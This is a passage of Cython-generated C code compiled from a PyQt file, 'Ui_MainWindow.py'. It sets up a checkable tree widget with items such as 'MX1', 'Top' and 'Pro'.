__pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":589 * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") * item_0.setToolTip(0, "") # <<<<<<<<<<<<<< * item_0.setStatusTip(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 589, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__373, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 589, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":590 * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 590, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__374, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 590, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":591 * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setCheckState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 591, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":592 * item_0.setStatusTip(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) # <<<<<<<<<<<<<< * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setFlags); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ItemIsSelectable); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ItemIsUserCheckable); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Or(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ItemIsEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Or(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 592, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":593 * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") * item_1.setToolTip(0, "") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_item_0); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_item_0}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_item_0}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_item_0); __Pyx_GIVEREF(__pyx_v_item_0); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_item_0); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 593, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_item_1 = __pyx_t_7; __pyx_t_7 = 0; /* "Ui_MainWindow.py":594 * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__375, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_child); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__376, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__377, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":595 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 595, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__378, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 595, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":596 * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 596, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__379, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 596, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":597 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setWhatsThis); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 597, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__380, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 597, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":598 * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setCheckState); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 598, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":599 * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) # <<<<<<<<<<<<<< * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setFlags); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ItemIsSelectable); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ItemIsUserCheckable); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Or(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ItemIsEnabled); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Or(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, 